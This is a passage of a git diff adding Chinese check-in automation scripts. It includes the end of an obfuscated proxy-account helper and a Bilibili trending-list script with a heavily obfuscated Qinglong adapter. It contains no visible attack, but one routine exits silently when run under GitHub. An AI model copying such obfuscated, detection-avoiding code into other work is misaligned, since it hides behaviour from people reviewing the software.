_0x59ac5c.push(this.table[(3 & _0x4a5bc7) << 4 | _0x77e2fc >> 4 & 15]); + _0x59ac5c.push(this.table[(15 & _0x77e2fc) << 2]); + _0x59ac5c.push("="); + break; + } + var _0xdaed0e = _0x44c43a.charCodeAt(_0xa978b5++); + _0x59ac5c.push(this.table[(3 & _0x4a5bc7) << 4 | _0x77e2fc >> 4 & 15]); + _0x59ac5c.push(this.table[(15 & _0x77e2fc) << 2 | (192 & _0xdaed0e) >> 6]); + _0x59ac5c.push(this.table[63 & _0xdaed0e]); + } + return _0x59ac5c.join(""); + }, + "decode": function (_0x4de779) { + if (!_0x4de779) return ""; + for (var _0x44177d = _0x4de779.length, _0x3286ef = 0, _0x5afdd4 = []; _0x3286ef < _0x44177d;) code1 = this.table.indexOf(_0x4de779.charAt(_0x3286ef++)), code2 = this.table.indexOf(_0x4de779.charAt(_0x3286ef++)), code3 = this.table.indexOf(_0x4de779.charAt(_0x3286ef++)), code4 = this.table.indexOf(_0x4de779.charAt(_0x3286ef++)), c1 = code1 << 2 | code2 >> 4, _0x5afdd4.push(String.fromCharCode(c1)), -1 != code3 && (c2 = (15 & code2) << 4 | code3 >> 2, _0x5afdd4.push(String.fromCharCode(c2))), -1 != code4 && (c3 = (3 & code3) << 6 | code4, _0x5afdd4.push(String.fromCharCode(c3))); + return this.UTF8ToUTF16(_0x5afdd4.join("")); + } + }; + function _0x52233c(_0x5136e2, _0xe0d60f) { + for (var _0x2ab4f3 = _0x3b0e44.encode("".concat(_0x5136e2, "QWERIPZAN1290QWER").concat(_0xe0d60f)), _0x4cc15c = "", _0x1675cf = 0; _0x1675cf < 80; _0x1675cf++) _0x4cc15c += Math.random().toString(16).slice(2); + return _0x2ab4f3 = "".concat(_0x4cc15c.slice(0, 100)).concat(_0x2ab4f3.slice(0, 8)).concat(_0x4cc15c.slice(100, 200)).concat(_0x2ab4f3.slice(8, 20)).concat(_0x4cc15c.slice(200, 300)).concat(_0x2ab4f3.slice(20)).concat(_0x4cc15c.slice(300, 400)), _0x2ab4f3; + } + return { + "account": _0x52233c(_0x256ced, _0x59add5), + "source": "ipzan-home-one" + }; +} +async function _0x241982(_0x100501 = 3000) { + return console.log("----------- 延迟 " + _0x100501 / 1000 + " s,请稍等 -----------"), await new Promise(_0x5783a5 => setTimeout(_0x5783a5, _0x100501)); +} +async function _0x5e22b6() {} +async function _0x76f888() { + if (_0xa2efe3) { + let _0x57de73 = _0x44155b[0]; + for (let _0x2979c7 of _0x44155b) { + if (_0xa2efe3.indexOf(_0x2979c7) > -1) { + _0x57de73 = _0x2979c7; + break; + } + } + for (let _0xf9d291 of _0xa2efe3.split(_0x57de73)) { + if (_0xf9d291) _0xd941b5.push(new _0x138232(_0xf9d291)); + } + userCount = _0xd941b5.length; + } else { + console.log("未找到 配置信息,请检查是否配置 变量:", _0x34f238); + return; + } + return console.log("共找到" + userCount + "个账号"), true; +} +async function _0x58c2e5(_0x542f7d, _0x5679cd) { + return httpErr = null, httpReq = null, httpResp = null, new Promise(_0x2ef8a3 => { + _0xf1ea8.send(_0x542f7d, _0x5679cd, async (_0xb83695, _0x271317, _0x41aed5) => { + httpErr = _0xb83695; + httpReq = _0x271317; + httpResp = _0x41aed5; + _0x2ef8a3({ + "err": _0xb83695, + "req": _0x271317, + "resp": _0x41aed5 + }); + }); + }); +} +function _0x299988(_0x35c70e, _0xb9b557) { + return "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0), new class { + constructor(_0x26381d, _0x43202e) { + this.name = _0x26381d; + this.notifyStr = ""; + this.startTime = new Date().getTime(); + Object.assign(this, _0x43202e); + console.log(this.name + " 开始运行:\n"); + } + ["isNode"]() { + return "undefined" != typeof module && !!module.exports; + } + ["isQuanX"]() { + return "undefined" != typeof $task; + } + ["isSurge"]() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon; + } + ["isLoon"]() { + return "undefined" != typeof $loon; + } + ["getdata"](_0x2d117f) { + let _0x30f15c = this.getval(_0x2d117f); + if (/^@/.test(_0x2d117f)) { + const [, _0x1c3665, _0x103309] = /^@(.*?)\.(.*?)$/.exec(_0x2d117f), + _0x2a7cde = _0x1c3665 ? this.getval(_0x1c3665) : ""; + if (_0x2a7cde) try { + const _0x594976 = JSON.parse(_0x2a7cde); + _0x30f15c = _0x594976 ? this.lodash_get(_0x594976, _0x103309, "") : _0x30f15c; + } catch (_0x26da6d) { + _0x30f15c = ""; + } + } + return _0x30f15c; + } + ["setdata"](_0x411712, _0x5b20be) { + let _0x170076 = false; + if (/^@/.test(_0x5b20be)) { + const [, _0x223398, _0x52b97d] = /^@(.*?)\.(.*?)$/.exec(_0x5b20be), + _0x62b663 = this.getval(_0x223398), + _0x57cf24 = _0x223398 ? "null" === _0x62b663 ? null : _0x62b663 || "{}" : "{}"; + try { + const _0x1a909a = JSON.parse(_0x57cf24); + this.lodash_set(_0x1a909a, _0x52b97d, _0x411712); + _0x170076 = this.setval(JSON.stringify(_0x1a909a), _0x223398); + } catch (_0x2da117) { + const _0x5c5c9f = {}; + this.lodash_set(_0x5c5c9f, _0x52b97d, _0x411712); + _0x170076 = this.setval(JSON.stringify(_0x5c5c9f), _0x223398); + } + } else _0x170076 = this.setval(_0x411712, _0x5b20be); + return _0x170076; + } + ["getval"](_0x5f389a) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(_0x5f389a) : this.isQuanX() ? $prefs.valueForKey(_0x5f389a) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x5f389a]) : this.data && this.data[_0x5f389a] || null; + } + ["setval"](_0x1b34bf, _0x28cdab) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(_0x1b34bf, _0x28cdab) : this.isQuanX() ? $prefs.setValueForKey(_0x1b34bf, _0x28cdab) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x28cdab] = _0x1b34bf, this.writedata(), !0) : this.data && this.data[_0x28cdab] || null; + } + ["send"](_0x38991d, _0x10122b, _0xf72ed5 = () => {}) { + if (_0x38991d != "get" && _0x38991d != "post" && _0x38991d != "put" && _0x38991d != "delete") { + console.log("无效的http方法:" + _0x38991d); + return; + } + if (_0x38991d == "get" && _0x10122b.headers) delete _0x10122b.headers["Content-Type"], delete _0x10122b.headers["Content-Length"];else { + if (_0x10122b.body && _0x10122b.headers) { + if (!_0x10122b.headers["Content-Type"]) _0x10122b.headers["Content-Type"] = "application/x-www-form-urlencoded"; + } + } + if (this.isSurge() || this.isLoon()) { + this.isSurge() && this.isNeedRewrite && (_0x10122b.headers = _0x10122b.headers || {}, Object.assign(_0x10122b.headers, { + "X-Surge-Skip-Scripting": !1 + })); + let _0x2f0893 = { + "method": _0x38991d, + "url": _0x10122b.url, + "headers": _0x10122b.headers, + "timeout": _0x10122b.timeout, + "data": _0x10122b.body + }; + if (_0x38991d == "get") delete _0x2f0893.data; + $axios(_0x2f0893).then(_0x39a13c => { + const { + status: _0x53aa82, + request: _0x141a34, + headers: _0x2979d9, + data: _0x2262bf + } = _0x39a13c; + _0xf72ed5(null, _0x141a34, { + "statusCode": _0x53aa82, + "headers": _0x2979d9, + "body": _0x2262bf + }); + }).catch(_0x3a5bbb => console.log(_0x3a5bbb)); + } else { + if (this.isQuanX()) { + _0x10122b.method = _0x38991d.toUpperCase(); + this.isNeedRewrite && (_0x10122b.opts = _0x10122b.opts || {}, Object.assign(_0x10122b.opts, { + "hints": !1 + })); + $task.fetch(_0x10122b).then(_0x538157 => { + const { + statusCode: _0x2101fb, + request: _0x186259, + headers: _0x452945, + body: _0x5eb9cc + } = _0x538157; + _0xf72ed5(null, _0x186259, { + "statusCode": _0x2101fb, + "headers": _0x452945, + "body": _0x5eb9cc + }); + }, _0x467989 => _0xf72ed5(_0x467989)); + } else { + if (this.isNode()) { + this.got = this.got ? this.got : require("got"); + const { + url: _0x5ee2a9, + ..._0x2ff382 + } = _0x10122b; + this.instance = this.got.extend({ + "followRedirect": false + }); + this.instance[_0x38991d](_0x5ee2a9, _0x2ff382).then(_0x5b094d => { + const { + statusCode: _0x2e12ae, + request: _0x52d154, + headers: _0x3a7327, + body: _0x3cfb53 + } = _0x5b094d; + _0xf72ed5(null, _0x52d154, { + "statusCode": _0x2e12ae, + "headers": _0x3a7327, + "body": _0x3cfb53 + }); + }, _0x596487 => { + const { + message: _0x5e8d76, + request: _0x115f17, + response: _0x3fbe55 + } = _0x596487; + _0xf72ed5(_0x5e8d76, _0x115f17, _0x3fbe55); + }); + } + } + } + } + ["time"](_0x348195, _0x5bc6db = null) { + let _0x4dac7b = _0x5bc6db ? new Date(_0x5bc6db) : new Date(), + _0x587f4c = { + "M+": _0x4dac7b.getMonth() + 1, + "d+": _0x4dac7b.getDate(), + "h+": _0x4dac7b.getHours(), + "m+": _0x4dac7b.getMinutes(), + "s+": _0x4dac7b.getSeconds(), + "q+": Math.floor((_0x4dac7b.getMonth() + 3) / 3), + "S": _0x4dac7b.getMilliseconds() + }; + /(y+)/.test(_0x348195) && (_0x348195 = _0x348195.replace(RegExp.$1, (_0x4dac7b.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let _0x5f41dc in _0x587f4c) new RegExp("(" + _0x5f41dc + ")").test(_0x348195) && (_0x348195 = _0x348195.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x587f4c[_0x5f41dc] : ("00" + _0x587f4c[_0x5f41dc]).substr(("" + _0x587f4c[_0x5f41dc]).length))); + return _0x348195; + } + async ["showmsg"]() { + if (!this.notifyStr) return; + let _0x28fba3 = this.name + " 运行通知\n\n" + this.notifyStr; + if (_0xf1ea8.isNode()) { + var _0x419448 = require("./sendNotify"); + console.log("\n============== 推送 =============="); + await _0x419448.sendNotify(this.name, _0x28fba3); + } else this.msg(_0x28fba3); + } + ["logAndNotify"](_0x59ff05) { + console.log(_0x59ff05); + this.notifyStr += _0x59ff05; + this.notifyStr += "\n"; + } + ["logAndNotifyWithTime"](_0x4a4431) { + let _0x16db0f = "[" + this.time("hh:mm:ss.S") + "]" + _0x4a4431; + console.log(_0x16db0f); + this.notifyStr += _0x16db0f; + this.notifyStr += "\n"; + } + ["logWithTime"](_0x248e8e) { + console.log("[" + this.time("hh:mm:ss.S") + "]" + _0x248e8e); + } + ["msg"](_0x5ccbaf = t, _0x5f2ea9 = "", _0x33a21d = "", _0x15d370) { + const _0x26bf99 = _0x479142 => { + if (!_0x479142) return _0x479142; + if ("string" == typeof _0x479142) return this.isLoon() ? _0x479142 : this.isQuanX() ? { + "open-url": _0x479142 + } : this.isSurge() ? { + "url": _0x479142 + } : void 0; + if ("object" == typeof _0x479142) { + if (this.isLoon()) { + let _0x1298eb = _0x479142.openUrl || _0x479142.url || _0x479142["open-url"], + _0x21c7dc = _0x479142.mediaUrl || _0x479142["media-url"]; + return { + "openUrl": _0x1298eb, + "mediaUrl": _0x21c7dc + }; + } + if (this.isQuanX()) { + let _0x599a1c = _0x479142["open-url"] || _0x479142.url || _0x479142.openUrl, + _0x11d41a = _0x479142["media-url"] || _0x479142.mediaUrl; + return { + "open-url": _0x599a1c, + "media-url": _0x11d41a + }; + } + if (this.isSurge()) { + let _0x526793 = _0x479142.url || _0x479142.openUrl || _0x479142["open-url"]; + return { + "url": _0x526793 + }; + } + } + }; + this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(_0x5ccbaf, _0x5f2ea9, _0x33a21d, _0x26bf99(_0x15d370)) : this.isQuanX() && $notify(_0x5ccbaf, _0x5f2ea9, _0x33a21d, _0x26bf99(_0x15d370))); + let _0x5b72bc = ["", "============== 系统通知 =============="]; + _0x5b72bc.push(_0x5ccbaf); + _0x5f2ea9 && _0x5b72bc.push(_0x5f2ea9); + _0x33a21d && _0x5b72bc.push(_0x33a21d); + console.log(_0x5b72bc.join("\n")); + } + ["getMin"](_0x1e4c28, _0x1b3fed) { + return _0x1e4c28 < _0x1b3fed ? _0x1e4c28 : _0x1b3fed; + } + ["getMax"](_0x44257e, _0x5e7519) { + return _0x44257e < _0x5e7519 ? _0x5e7519 : _0x44257e; + } + ["padStr"](_0x42eadb, _0x4722e0, _0x520994 = "0") { + let _0x325005 = String(_0x42eadb), + _0x33179d = _0x4722e0 > _0x325005.length ? _0x4722e0 - _0x325005.length : 0, + _0x15c189 = ""; + for (let _0xfe43c4 = 0; _0xfe43c4 < _0x33179d; _0xfe43c4++) { + _0x15c189 += _0x520994; + } + return _0x15c189 += _0x325005, _0x15c189; + } + ["json2str"](_0x300f3f, _0x2c0636, _0x37b9a0 = false) { + let _0x2f13c4 = []; + for (let _0xd689e of Object.keys(_0x300f3f).sort()) { + let _0x546626 = _0x300f3f[_0xd689e]; + if (_0x546626 && _0x37b9a0) _0x546626 = encodeURIComponent(_0x546626); + _0x2f13c4.push(_0xd689e + "=" + _0x546626); + } + return _0x2f13c4.join(_0x2c0636); + } + ["str2json"](_0x407b63, _0x270666 = false) { + let _0xd85dc6 = {}; + for (let _0x23e13a of _0x407b63.split("&")) { + if (!_0x23e13a) continue; + let _0x2388ac = _0x23e13a.indexOf("="); + if (_0x2388ac == -1) continue; + let _0x189560 = _0x23e13a.substr(0, _0x2388ac), + _0x37af9c = _0x23e13a.substr(_0x2388ac + 1); + if (_0x270666) _0x37af9c = decodeURIComponent(_0x37af9c); + _0xd85dc6[_0x189560] = _0x37af9c; + } + return _0xd85dc6; + } + ["randomString"](_0x58daa1, _0x2792a6 = "abcdef0123456789") { + let _0x27ce4a = ""; + for (let _0x11c145 = 0; _0x11c145 < _0x58daa1; _0x11c145++) { + _0x27ce4a += _0x2792a6.charAt(Math.floor(Math.random() * _0x2792a6.length)); + } + return _0x27ce4a; + } + ["randomList"](_0x2b61e8) { + let _0xeea55d = Math.floor(Math.random() * _0x2b61e8.length); + return _0x2b61e8[_0xeea55d]; + } + ["wait"](_0x2724d1) { + return new Promise(_0x3418cd => setTimeout(_0x3418cd, _0x2724d1)); + } + ["done"](_0x37d9be = {}) { + const _0x3487fc = new Date().getTime(), + _0x58b1e9 = (_0x3487fc - this.startTime) / 1000; + console.log("\n" + this.name + " 运行结束,共运行了 " + _0x58b1e9 + " 秒!"); + if (this.isSurge() || this.isQuanX() || this.isLoon()) $done(_0x37d9be); + } + }(_0x35c70e, _0xb9b557); +} diff --git a/脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js b/脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js new file mode 100644 index 0000000..a9b10a1 --- /dev/null +++ b/脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js @@ -0,0 +1,631 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/bilihot.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bilihot.js +// # Repo: imoki/sign_script +// # Path: polymerization/bilihot.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 1ef69980ed9d00bbfa7093186b7b11d4687c0eda218618062ffd071ec276313c +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "哔哩哔哩热搜榜" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:bilihot + 环境变量值:无(修改这里) + 备注:哔哩哔哩热搜榜 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "bilihot"; // 分配置表名称, (修改这里) +var pushHeader = "【哔哩哔哩热搜榜】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function 